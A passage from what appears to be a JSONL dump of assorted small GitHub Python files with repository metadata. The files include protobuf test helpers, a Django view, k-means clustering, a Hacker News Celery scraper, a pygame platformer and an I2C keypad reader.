copy.deepcopy(proto_b)\n copied = True\n for field_path in ignored_fields:\n _clear_field(proto_a, field_path)\n _clear_field(proto_b, field_path)\n\n if rtol is not None:\n if not copied:\n proto_a = copy.deepcopy(proto_a)\n proto_b = copy.deepcopy(proto_b)\n _equalize_floats_in_tolerance(proto_a, proto_b, rtol)\n\n txt_a = text_format.MessageToString(proto_a)\n txt_b = text_format.MessageToString(proto_b)\n testobj.assertMultiLineEqual(txt_a, txt_b)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2Contains(\n testobj: unittest.case.TestCase,\n proto_needle: Union[message.Message, str, bytes],\n proto_haystack: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n) -> None:\n \"\"\"Asserts that fields from proto_needle are set the same in proto_haystack.\n\n Args:\n testobj: The test case that called this comparison.\n proto_needle: A proto to compare with proto_haystack.\n proto_haystack: A proto that contains all fields in proto_needle and others.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n \"\"\"\n if isinstance(proto_needle, str | bytes):\n proto_needle = text_format.Parse(proto_needle, proto_haystack.__class__())\n else:\n proto_needle = copy.deepcopy(proto_needle)\n proto_haystack = copy.deepcopy(proto_haystack)\n if ignored_fields is not None:\n for field_path in ignored_fields:\n _clear_field(proto_needle, field_path)\n _clear_field(proto_haystack, field_path)\n\n proto_needle_full = copy.deepcopy(proto_haystack)\n proto_needle_full.MergeFrom(proto_needle)\n\n _sort_repeated_fields(proto_needle_full, deduplicate=True)\n _sort_repeated_fields(proto_haystack, deduplicate=True)\n\n txt_needle = text_format.MessageToString(proto_needle_full)\n txt_haystack = text_format.MessageToString(proto_haystack)\n testobj.assertMultiLineEqual(txt_needle, txt_haystack)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2SameElements(\n testobj: unittest.case.TestCase,\n proto_a: Union[message.Message, str, bytes],\n proto_b: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n keep_duplicate_values: Optional[bool] = None,\n) -> None:\n \"\"\"Asserts that fields from proto_a and proto_b are the same.\n\n For repeated fields, both messages must have the same items, but count or\n order does not matter.\n The semantics are similar to, e.g., absltest.assertSameElements.\n This method does not care about any duplicates unless keep_duplicate_values\n is set to true.\n\n Args:\n testobj: The test case that called this comparison.\n proto_a: A proto to compare with proto_b.\n proto_b: The proto to compare to.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n keep_duplicate_values: Keep duplicate values before comparing. If not set or\n set to false, duplicate values will be considered one value. This makes it\n possible to compare similar to set semantics.\n \"\"\"\n if isinstance(proto_a, str | bytes):\n proto_a = text_format.Parse(proto_a, proto_b.__class__())\n\n proto_a = copy.deepcopy(proto_a)\n proto_b = copy.deepcopy(proto_b)\n if ignored_fields is not None:\n for field_path in ignored_fields:\n _clear_field(proto_a, field_path)\n _clear_field(proto_b, field_path)\n\n deduplicate = True\n if keep_duplicate_values is not None and keep_duplicate_values:\n deduplicate = False\n\n _sort_repeated_fields(proto_a, deduplicate)\n _sort_repeated_fields(proto_b, deduplicate)\n\n txt_a = text_format.MessageToString(proto_a)\n txt_b = text_format.MessageToString(proto_b)\n testobj.assertMultiLineEqual(txt_a, txt_b)\n","repo_name":"intrinsic-dev/intrinsic_sdks","sub_path":"intrinsic/solutions/testing/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":12983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"3655117611","text":"import os\nimport glob\nimport subprocess\n\n\npath = os.path.join(os.getcwd(),'sudokus')\n# subprocess.Popen('\"C:\\\\Program Files (x86)\\\\CodeBlocks\\\\MinGW\\\\bin\"\\\\gcc.exe sudoku.c -o sudoku.exe',shell=True)\n\nfile_number = 1\nfor filename in glob.glob(os.path.join(path, '*.dat')):\n\tf = open(filename, 'r')\n\ti = 0\n\tsudoku_str = \"{\"\n\tsudoku_str2 =\"\"\n\tfor line in f:\n\t\tif (i>1):\n\t\t\tsudoku_str+= \"{\"\n\t\t\tline = line.split()\t\t\t\t\t\t\n\t\t\t# print(line)\n\t\t\taux = 0\n\t\t\tfor number in line:\n\t\t\t\tsudoku_str += str(number)\n\t\t\t\tsudoku_str2 += str(number)\n\t\t\t\tif(aux < 8):\n\t\t\t\t\tsudoku_str+=\",\"\n\t\t\t\taux = aux + 1\n\t\t\tsudoku_str += \"}\"\n\t\t\tif(i<10):\n\t\t\t\tsudoku_str+=\",\"\n\t\ti+=1\n\tsudoku_str += \"}\"\n\tprint(sudoku_str2)\n\tsubprocess.Popen('sudoku.exe '+sudoku_str2+'>> output\\\\output_'+str(file_number)+'.txt',shell=True)\n\t\n\tprint('\\n')\n\tf.close()\n\tfile_number += 1\n","repo_name":"GuilhermeBorges/Sudoku","sub_path":"executa.py","file_name":"executa.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"9878330565","text":"exp = []\nx = str(input('Digite uma expressão: ')).strip()\nfor c in x:\n if c == '(':\n exp.append('(')\n elif c == ')':\n if len(exp) > 0:\n exp.pop()\n else:\n exp.append(')')\n print(len(exp))\n break\nif len(exp) == 0:\n print('Expressão válida!')\nelse:\n print('Expressão invalida!')","repo_name":"Raphael-Azevedo/Exercicios_Python","sub_path":"Exercicios em Python/ex083.py","file_name":"ex083.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74764755149","text":"import sqlite3\nfrom googletrans import Translator\n\n\ndef get_top_results(update, context):\n conn = sqlite3.connect(\"data.db\")\n cursor = conn.cursor()\n\n cursor.execute(\"SELECT username, full_name, results FROM user_info ORDER BY results DESC LIMIT 5\")\n\n results = cursor.fetchall()\n\n conn.close()\n\n if not results:\n update.message.reply_text(text=\"Unfortunately, no one has run the test yet and has not shown any results😔Maybe you will be the first, click /quiz and test yourself🥹\", parse_mode=\"html\")\n else:\n message = \"\\n\".join([\n f\"{i + 1} {user[1]}'s result is {user[2]}\"\n for i, user in enumerate(results)\n ])\n update.message.reply_text(message, parse_mode=\"html\")\n\n\ndef get_my_level(update,context):\n conn=sqlite3.connect(\"data.db\")\n c=conn.cursor()\n c.execute(f\"WITH SortedUsers AS (SELECT username, full_name, user_id, results,ROW_NUMBER() OVER (ORDER BY results DESC) AS position FROM user_info) SELECT position, username, full_name, results FROM SortedUsers WHERE user_id = {update.message.from_user.id}\")\n\n results=c.fetchone()\n conn.close()\n if results is None:\n update.message.reply_text(\"But you haven't done the quiz yet. That's why you don't have any points. Please click the /quiz command first and collect points by starting the quiz😉\",parse_mode=\"html\")\n else:\n l=[i for i in results]\n update.message.reply_text(\n f\"Your level are {l[0]}🏆Dear {l[2]} your total score {l[3]} .Never stop🚫\",parse_mode=\"html\"\n )\ndef detect_language(text):\n translator = Translator()\n detected = translator.detect(text)\n return detected.lang\n\ndef lang_trans(update,context):\n\n if detect_language(update.message.text)=='en':\n translator = Translator()\n text=update.message.text\n # Translate text from one language to another\n result = translator.translate(f\"{text}\", src=\"en\", dest=\"uz\")\n\n # Access the translated text\n translated_text = result.text\n update.message.reply_text(text=translated_text)\n if detect_language(update.message.text)=='uz':\n translator = Translator()\n text = update.message.text\n # Translate text from one language to another\n result = translator.translate(f\"{text}\", src=\"uz\", dest=\"en\")\n\n # Access the translated text\n translated_text = result.text\n update.message.reply_text(text=translated_text)\n\n\n","repo_name":"umidyor/Quiz_bot_eng","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"73760584909","text":"import speedtest\nfrom threading import Thread\nimport time\nfrom .db.speed_table import SpeedTable\nfrom datetime import datetime\n\nclass GetSpeedData(Thread):\n def __init__(self, log = False):\n self.log = log\n\n def run(self):\n while True:\n self.getData()\n time.sleep(60)\n\n def convertToMb(self, speed):\n return \"{:.2f}\".format(speed/1048576) # Bytes to MBytes\n\n def getData(self):\n st = speedtest.Speedtest()\n downloadSpeed = float(st.download())\n uploadSpeed = float(st.upload())\n timestamp = int(time.time())\n\n downloadSpeed = self.convertToMb(downloadSpeed)\n uploadSpeed = self.convertToMb(uploadSpeed)\n SpeedTable.insert(downloadSpeed, uploadSpeed, timestamp)\n\n if(self.log):\n dt_object = datetime.fromtimestamp(timestamp)\n print('{} --- Download speed: {} Mb/s --- Upload speed: {} Mb/s'.format(dt_object, downloadSpeed, uploadSpeed))","repo_name":"Joselsneto/Internet-Speed-Tracker","sub_path":"src/get_speed_data.py","file_name":"get_speed_data.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"8625183216","text":"import cv2\nimport os\n\n\nclass Video:\n def __init__(self, path, reheight, rewidht):\n self.pathVideo = path\n self.capture = cv2.VideoCapture(path)\n self.resultsPath = \"results\"\n if not os.path.exists(self.resultsPath):\n os.makedirs(self.resultsPath)\n self.num_frames = int(self.capture.get(cv2.CAP_PROP_FRAME_COUNT))\n self.height = int(self.capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n self.width = int(self.capture.get(cv2.CAP_PROP_FRAME_WIDTH))\n self.fps = int(self.capture.get(cv2.CAP_PROP_FPS))\n self.rewidth = rewidht\n self.reheight = reheight\n\n\nif __name__ == '__main__':\n video = Video(\"videos/video_test.mp4\")\n","repo_name":"mcv-m6-video/mcv-m6-2021-team6","sub_path":"W4/Video.py","file_name":"Video.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"11006096923","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport highlighter.backend as backend\nfrom .models import SummaryEntry, LabelType\nfrom .form import SummaryForm\n\n\ndef highlighter_view(r, *args, **kwargs):\n\t\"\"\"\n\tmain discharge summary labeller view\n\t\"\"\"\n\n\t#vars: cleaned_data, labels\n\tprocessed_text = \"(Enter summary to see labels.)\"\n\tdefinition_html = \"(Enter summary to see definitions.)\"\n\tform = SummaryForm()\n\tif r.method == \"POST\":\n\t\tform = SummaryForm(r.POST)\n\t\tif form.is_valid():\n\t\t\tcleaned_data = form.cleaned_data\n\t\t\tlabels = cleaned_data.pop('labels')\n\t\t\ts = SummaryEntry.objects.create(**cleaned_data)\n\t\t\ts.labels.set(labels)\n\n\t\t\t# if using ML model, use backend.get_summary() function instead.\n\t\t\tprocessed_text, definition_html = backend.get_summary_scispacy(cleaned_data, labels)\n\t\t\ts.processed = processed_text\n\t\t\ts.save() #this step is key!!! :) saves it!\n\n\t\telse:\n\t\t\tprint (\"Post:\", r.POST, form.is_valid())\n\t\t\tform = SummaryForm()\n\t\t\tprint(\"Errors in form:\", form.errors)\n\telse:\n\t\tprint(\"Not a POST method.\")\n\n\tcontext={\n\t\t'form':form,\n\t\t'processed_text': processed_text,\n\t\t'definitions': definition_html,\n\t}\n\treturn render(r, 'highlighter_temp.html', context)\n\t# this is still relative to templates directory!!\n","repo_name":"gloriafang123/mitmlhc2020-public-discharge-labeller","sub_path":"mysite/highlighter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"32605575490","text":"\"\"\"SpaceTravels URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('registration/', include('tourists.urls')), # Showing Django where he should searching for urlpatterns \n path('', include('SpaceTravels.views')), # Pointing into urlpatterns in views.py file in main folder\n path('api-tourists/', include('tourists.api.urls')), # Pointing on our api urls in tourists app\n path('api-flights/', include('flights.api.urls')), # Pointing on our api urls in flights app\n]\n","repo_name":"lukaszkania/SpaceTravelsBackEnd","sub_path":"SpaceTravels/SpaceTravels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74656155468","text":"from numba import cuda\n\n\n@cuda.jit\ndef mutate(population, random_values, size_individual, mutation_rate):\n index = cuda.grid(1)\n if index < population.shape[0]:\n individual_mutate(population[index], random_values[index], size_individual, mutation_rate)\n\n\n@cuda.jit(device=True)\ndef individual_mutate(individual, random_values, size_individual, mutation_rate):\n for position_1 in range(size_individual):\n if random_values[0] < mutation_rate:\n position_2 = round(random_values[1] * (size_individual - 1))\n if not position_1 == position_2:\n swap_value = individual[position_1]\n individual[position_1] = individual[position_2]\n individual[position_2] = swap_value\n","repo_name":"TimLC/Genetic_Algorithm_GPU-CPU","sub_path":"optimized_genetic_algorithm/genetic/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"807951755","text":"import pd\n\n\ndef py2pd(value):\n \"\"\"Convert a Python data type to a PureData type\"\"\"\n return value\n\ndef pd2py(value):\n \"\"\"Convert a PureData data type to a Python type\"\"\"\n return value\n\n\ndef pdlist2pylist(value):\n \"\"\"Convert a PureData list to a Python list\"\"\"\n # value is one list, make it a string\n try:\n s = ''\n for i in range(len(value)):\n s = s + str(value[i]) + \" \" \n s = s.replace(\" \", \",\")\n s = \"[\" + s + \"]\"\n lst = eval(s)\n return lst[0]\n except:\n pd.error(\"There is syntax error in the list\")\n return None\n\n\n\n\n\n\n\n\n\n\n","repo_name":"charlesneimog/py4pd","sub_path":"resources/scripts/src/convertion.py","file_name":"convertion.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"}
+{"seq_id":"70063454348","text":"import numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport collections\nimport multiprocessing\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\n\ndef dist(x,y):\n return np.sum((x-y)**2)\n\ndef ChooseInitialMeans(data,k):\n means = []\n for _ in range(k):\n random_centroid = []\n for i in range(data.shape[1]):\n a = min(data[:, i])\n b = max(data[:, i])\n random_centroid.append( np.random.uniform(a,b) )\n means.append(random_centroid)\n #means, clusters = mykmns.kmeans_main(X, k)\n return means\n\n\ndef kmeansOnceWeights(data,weights,k,n,n_per_cluster):\n means = ChooseInitialMeans(data, k)\n\n for iter in range(50):\n #print(iter)\n\n if iter>0:\n means = []\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n if len(indices) > 0:\n cut = np.take(data, indices, axis=0)\n means.append(np.apply_along_axis(np.mean, axis=0, arr=cut))\n\n clusters = dict(enumerate(means))\n ids = list(clusters.keys())\n diffs = []\n for id in ids:\n diffs.append(np.apply_along_axis(lambda x: dist(x, clusters[id]), axis=1, arr=data))\n\n diffs = np.asarray(diffs)\n\n clust_sizes = dict(zip(ids, np.zeros(len(ids))))\n closest_cluster = []\n for i in range(n):\n row = diffs[:, i]\n w0 = weights[i]\n inds_sorted = np.argsort(row)\n for id_opt in inds_sorted:\n if clust_sizes[id_opt] < n_per_cluster:\n closest_cluster.append(id_opt)\n clust_sizes[id_opt] += w0\n break\n\n inner_diffs = []\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n if len(indices) > 0:\n cut = np.take(diffs, indices, axis=1)\n inner_diffs.append(np.apply_along_axis(np.mean, axis=1, arr=cut)[k0])\n\n return ids, closest_cluster, sum(inner_diffs)\n\n\n\ndef kmeans(data,weights,k,n=None,n_per_cluster=None,B=10):\n\n if n is None:\n n = data.shape[0]\n\n if n_per_cluster is None:\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n results = []\n for b in range(B):\n print(b)\n results.append(kmeansOnceWeights(data,weights, k, n, n_per_cluster))\n\n inner_diffs = [r[2] for r in results]\n opt = np.argmin(inner_diffs)\n\n counter = collections.Counter(results[opt][1])\n print(counter)\n\n return results[opt][0], results[opt][1]\n\n\ndef kmeans_parallel(data,weights,k,n=None,n_per_cluster=None,B=10):\n\n if n is None:\n n = data.shape[0]\n\n if n_per_cluster is None:\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n def processInput(b):\n print(b)\n return kmeansOnceWeights(data, weights, k, n, n_per_cluster)\n\n # inputs = [(b, data, weights, k, n, n_per_cluster) for b in range(B)]\n inputs = range(B)\n num_cores = multiprocessing.cpu_count()\n\n with Pool(num_cores-1) as p:\n results = p.map(processInput, inputs)\n\n inner_diffs = [r[2] for r in results]\n opt = np.argmin(inner_diffs)\n\n counter = collections.Counter(results[opt][1])\n print(counter)\n\n return results[opt][0], results[opt][1]\n\n\nif __name__==\"__main__\":\n home_dir = \"/media/bruno/data/chatbot_project/sent2sent\"\n\n k = 2\n data = pickle.load(open(home_dir + \"/data.pickle\", \"rb\"))\n weights = pickle.load(open(home_dir + \"/weights.pickle\", \"rb\"))\n n = data.shape[0]\n\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n B = 10\n print(data.shape)\n ids, closest_cluster = kmeans_parallel(data, weights, k)\n\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n cut = np.take(data, indices, axis=0)\n x, y = cut[:, 0], cut[:, 1]\n v = np.random.rand(3, 1)\n plt.scatter(x, y, c=tuple(v[:, 0]))\n # print(\"cluster \" + str(cl) + \" size = \" + str(len(clusters[cl])))\n\n plt.show()","repo_name":"BOpermanis/chatbot_project","sub_path":"sent2sent/kmeans3_weighted.py","file_name":"kmeans3_weighted.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"71720743948","text":"import cv2 \nimport numpy as np\nfrom random import randint\n\n#################################### PLACEHOLDER FUNCTIONS FOR LATER ########################################\ndef recieveMsg():\n \n x = randint(3,14)*100\n y = randint(3,9)*100\n \n return x,y,1\n\ndef getLocatorPhoto():\n \n photo = cv2.imread(\"slika0.jpg\")\n \n return photo\n\ndef extractMap(photo):\n \n MAP = cv2.imread(\"mapa.png\")\n \n return MAP\n\n\n\n#################################### REAL FUNCTIONS IN USE CURRENTLY ########################################\n\n# to know which jetcar is being traced, each ID is connected to its roof-marker color\ndef getColor(ID):\n \n if ID == 1:\n return [0,255,255]\n \n \n\n# coordinates recieved are extracted from a wide-angle lens camera. They need to be adjusted accordingly (un-fisheyed) \ndef undistortCoords(x,y):\n\n # makes an image with one white px, and un-distorts it\n img = np.zeros((2464,3264,3))\n img[y-1:y+1,x-1:x+1,:] = [255,255,255]\n img = undistort(img)\n \n #finds the position of the white px\n img = img[:,:,0]\n horizontal = img.sum(axis=0)\n vertical = img.sum(axis=1)\n \n x = np.argmax(horizontal)\n y = np.argmax(vertical)\n \n return x,y\n \n \n \ndef visualizeMarker(x,y,ID):\n \n x,y = undistortCoords(x,y)\n \n color = getColor(ID)\n marker = np.zeros_like(MAP)\n marker[y-5:y+5,x-5:x+5,:] = color\n \n return marker, x,y\n\n\n\ndef undistort(img, balance=1, dim2=(816,616), dim3=(1632,1332)):\n \n K=np.array([[403.5072678987361, 0.0, 390.5537285576421], [0.0, 403.056903943273, 303.0726428457018], [0.0, 0.0, 1.0]])\n D=np.array([[-0.02877771348636789], [-0.012216466999853827], [0.020949602322686396], [-0.015176688869367766]])\n \n\n dim1 = img.shape[:2][::-1] #dim1 is the dimension of input image to un-distort\n assert dim1[0]/dim1[1] == dim2[0]/dim2[1], \"Image to undistort needs to have same aspect ratio as the ones used in calibration\"\n if not dim2:\n dim2 = dim1\n if not dim3:\n dim3 = dim1\n scaled_K = K * dim1[0] / dim2[0] # The values of K is to scale with image dimension.\n scaled_K[2][2] = 1.0 # Except that K[2][2] is always 1.0\n \n # This is how scaled_K, dim2 and balance are used to determine the final K used to un-distort image. OpenCV document failed to make this clear!\n new_K = cv2.fisheye.estimateNewCameraMatrixForUndistortRectify(scaled_K, D, dim2, np.eye(3), balance=balance)\n map1, map2 = cv2.fisheye.initUndistortRectifyMap(scaled_K, D, np.eye(3), new_K, dim3, cv2.CV_16SC2)\n return cv2.remap(img, map1, map2, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n\n\n\n\n\n\n\n\nphoto = getLocatorPhoto() #FTTP\nphoto = undistort(photo)\nMAP = extractMap(photo)\n\nwhile True:\n \n x,y,ID = recieveMsg()\n marker,x,y = visualizeMarker(x,y,ID)\n \n cv2.imshow(\"Map with marker(s):\",marker+MAP)\n cv2.waitKey(1)\n print(x,y,end='\\r')\ncv2.destroyAllWindows()\n ","repo_name":"duspic/SmartCity_Model","sub_path":"L2S_communication/locator2server_server.py","file_name":"locator2server_server.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42272491474","text":"import pygame as pg\nfrom parameters import screen, W, H\nimport player\nimport globals\n\npg.init()\n\nclock = pg.time.Clock()\n\nplayer = player.Player(50, 50, 0.8)\n\ncolours = {'bg': \"#F2EDD7\", 'ground': \"#755139\"}\n\nrun = True\n\nwhile run:\n\n clock.tick(60)\n\n screen.fill(colours['bg'])\n\n pg.draw.rect(screen, colours['ground'], pg.Rect(0, globals.GROUND_LEVEL, W, H - globals.GROUND_LEVEL))\n\n player.update()\n player.draw()\n\n for event in pg.event.get():\n if event.type == pg.QUIT:\n run = False\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_RIGHT:\n globals.moving_right = True\n stay = False\n if event.key == pg.K_LEFT:\n globals.moving_left = True\n stay = False\n if event.key == pg.K_UP:\n globals.jumping = True\n if event.type == pg.KEYUP:\n if event.key == pg.K_RIGHT:\n globals.moving_right = False\n stay = True\n if event.key == pg.K_LEFT:\n globals.moving_left = False\n stay = True\n\n pg.display.flip()\n","repo_name":"Oksana515/Platformer_walking_n_jumping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"1363686842","text":"from outrankingDigraphs import *\nt = PerformanceTableau('zeitRanking2005')\n\ninput('Performance tableau')\nt.showHTMLPerformanceHeatmap(colorLevels=5,\\\n rankingRule=None,\\\n pageTitle='Performance Tableau \\'Zeit Ranking 2005\\'')\n\nfrom sortingDigraphs import *\nqs = QuantilesSortingDigraph(t,limitingQuantiles=7,LowerClosed=False)\ninput('7-tiles sorting')\nqs.showSorting()\ninput('7-tiles qunatile ordering')\nqs.showQuantileOrdering(strategy='average')\n\ninput('Ranking with heatmap')\nt.showHTMLPerformanceHeatmap(colorLevels=5,rankingRule='NetFlows',\n Correlations=True,pageTitle='Performance Tableau \\'Zeit Ranking 2006\\'')\n\n# absolute quantiles rating\nfrom performanceQuantiles import *\npq = PerformanceQuantiles(t,numberOfBins=9,LowerClosed=False)\nnqs = NormedQuantilesRatingDigraph(pq,t)\ninput('9-tiled rating heatmap')\nnqs.showHTMLRatingHeatmap(ndigits=0,colorLevels=5,Correlations=True,pageTitle='3-tiled rating of the universities')\n\n# best choice from preranked digraph\nfrom sparseOutrankingDigraphs import *\nprg = PreRankedOutrankingDigraph(t,5)\ninput('5-tiles preranked relation map')\nprg.showHTMLRelationMap()\ninput('Preranked Best choice recommendation')\nprg.showBestChoiceRecommendation()\n","repo_name":"rbisdorff/Digraph3","sub_path":"examples/zeit2005Demo.py","file_name":"zeit2005Demo.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"}
+{"seq_id":"74814861067","text":"import requests\nimport json\nfrom hackernews.celery import app\nfrom pprint import pprint\nimport os\nfrom news.models import Item, Author\nfrom django.db.models import Max\nfrom datetime import datetime\nfrom pytz import timezone\nfrom django.db import IntegrityError\n\n\nutc = timezone(\"UTC\")\n\n\ndef get_max_item():\n resp = requests.get(\"https://hacker-news.firebaseio.com/v0/maxitem.json\")\n return resp.json()\n\n\n@app.task\ndef get_history():\n max_item_id = get_max_item()\n max_item_no_db = Item.objects.aggregate(max_item_id=Max(\"item_id\"))[\"max_item_id\"]\n print(f\"Max Item ID from API = {max_item_id}\")\n print(f\"Current Max Item ID from DB = {max_item_no_db}\")\n print(f\"Catching up with {max_item_id - max_item_no_db}\")\n stories_left = 100\n while max_item_no_db < max_item_id and stories_left > 0:\n max_item_no_db += 1\n get_item.delay(max_item_no_db)\n\n\n@app.task\ndef get_latest():\n resp = requests.get(\"https://hacker-news.firebaseio.com/v0/jobstories.json\")\n ids = resp.json()\n for id in ids:\n get_item.delay(id)\n\n\n@app.task\ndef get_item(id):\n resp = requests.get(f'https://hacker-news.firebaseio.com/v0/item/{id}.json')\n item = resp.json()\n\n parent = None\n if \"parent\" in item:\n try:\n parent = Item.objects.get(item_id=item[\"parent\"])\n except Item.DoesNotExist:\n get_item(item[\"parent\"])\n\n try:\n item_db = Item.objects.get(item_id=item[\"id\"])\n if item_db.category == \"story\" and item[\"type\"] != \"story\":\n item_db.category = item[\"type\"]\n \n except Item.DoesNotExist:\n item_db = Item(\n item_id = item[\"id\"],\n category = item[\"type\"],\n created_date = utc.localize(datetime.utcfromtimestamp(item[\"time\"])) if item.get(\"time\") else None, \n )\n \n item_db.parent = parent\n item_db.text = item.get(\"text\", \"\")\n item_db.url = item.get(\"url\")\n item_db.title = item.get(\"title\", \"\")\n item_db.score = item.get(\"score\")\n \n if \"by\" in item:\n item_db.author = get_user(item[\"by\"])\n \n try:\n item_db.save()\n except IntegrityError:\n pass\n\n # kids = []\n for kid_id in item.get(\"kids\", []):\n subitem = get_item(kid_id)\n # kids.append(subitem)\n # item[\"kids\"] = kids\n return item\n\n\ndef get_user(user_id):\n resp = requests.get(f'https://hacker-news.firebaseio.com/v0/user/{user_id}.json')\n data = resp.json()\n username = data[\"id\"]\n try:\n author = Author.objects.get(username=username)\n except Author.DoesNotExist:\n author = Author(\n username = username,\n created = utc.localize(datetime.utcfromtimestamp(data[\"created\"])),\n karma = data[\"karma\"],\n no_submitted = len(data.get(\"submitted\", []))\n )\n try:\n author.save()\n except IntegrityError:\n pass\n return author\n","repo_name":"adebisit/hacker-news-app","sub_path":"news/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20829653956","text":"class Solution:\n def brute_force(self, heights):\n \"\"\"\n TC:O(n^2) TLE\n SC:O(1)\n \"\"\"\n n=len(heights)\n max_area=0\n \n for i in range(n):\n min_height=float('inf')\n for j in range(i,n):\n min_height=min(min_height, heights[j])\n max_area=max(max_area, min_height * (j-i+1))\n return max_area\n def divide_and_conquer_helper(self,heights, start, end):\n \"\"\"\n TC:O(nlogn) TLE\n SC:O(n)\n \"\"\"\n if start>end:\n return 0\n \n min_index=start\n for i in range(start, end+1):\n if heights[min_index]>heights[i]:\n min_index=i\n \n res1=heights[min_index]*(end-start+1)\n res2=self.divide_and_conquer_helper(heights,start,min_index-1)\n res3=self.divide_and_conquer_helper(heights,min_index+1,end)\n \n max_area=max(res1, max(res2, res3))\n \n return max_area\n \n def divide_and_conquer(self, heights):\n return self.divide_and_conquer_helper(heights, start=0, end=len(heights)-1)\n def stack_helper(self, heights):\n \"\"\"\n TC: O(N)\n SC: O(N)\n \"\"\"\n n=len(heights)\n stack=list()\n max_area=0\n stack.append(-1)\n \n for i in range(n):\n while (stack[-1]!=-1 and heights[i]<=heights[stack[-1]]):\n temp_area=heights[stack.pop()] * (i-stack[-1]-1)\n max_area=max(max_area,temp_area)\n stack.append(i)\n \n while stack[-1]!=-1:\n max_area=max(max_area, heights[stack.pop()] * (n-stack[-1]-1))\n \n return max_area\n def largestRectangleArea(self, heights: List[int]) -> int:\n if not heights or len(heights)==0:\n return 0\n #return self.brute_force(heights)\n #return self.divide_and_conquer(heights)\n return self.stack_helper(heights)","repo_name":"akshatakulkarni98/ProblemSolving","sub_path":"DataStructures/stacks/histogram_heights.py","file_name":"histogram_heights.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"24221493863","text":"\n__DEBUGING__ = False\n\nif not __DEBUGING__: \n from smbus2 import SMBus\n bus = SMBus(1)\n\nimport time\nimport threading\nimport random\n\n# Open i2c bus 1 and read one byte from address 80, offset 0\n\ntime.sleep(2)\n\n\nlocal_callback = None\n\nkeys = [ '1', '2', '3', 'A', '4', '5', '6', 'B', '7', '8', '9', 'C', '*', '0', '#', 'D' ]\nstates = [False] * len(keys)\n\ndef set_callback(callback):\n global local_callback\n\n # print(\"setting callback\")\n local_callback = callback\n\ndef reset_keys():\n global states\n\n states = [False] * len(keys)\n\n\ndef get_keys():\n global states\n\n # print(\"wheres the keys\")\n return states\n\n\ndef async_key_check():\n global states\n\n while True:\n if __DEBUGING__:\n theres_a_change = check_simulation_keys()\n else:\n theres_a_change = check_keys()\n if theres_a_change:\n local_callback(states)\n \n if __DEBUGING__:\n time.sleep(1)\n else:\n time.sleep(0.1)\n\n\ndef check_keys():\n 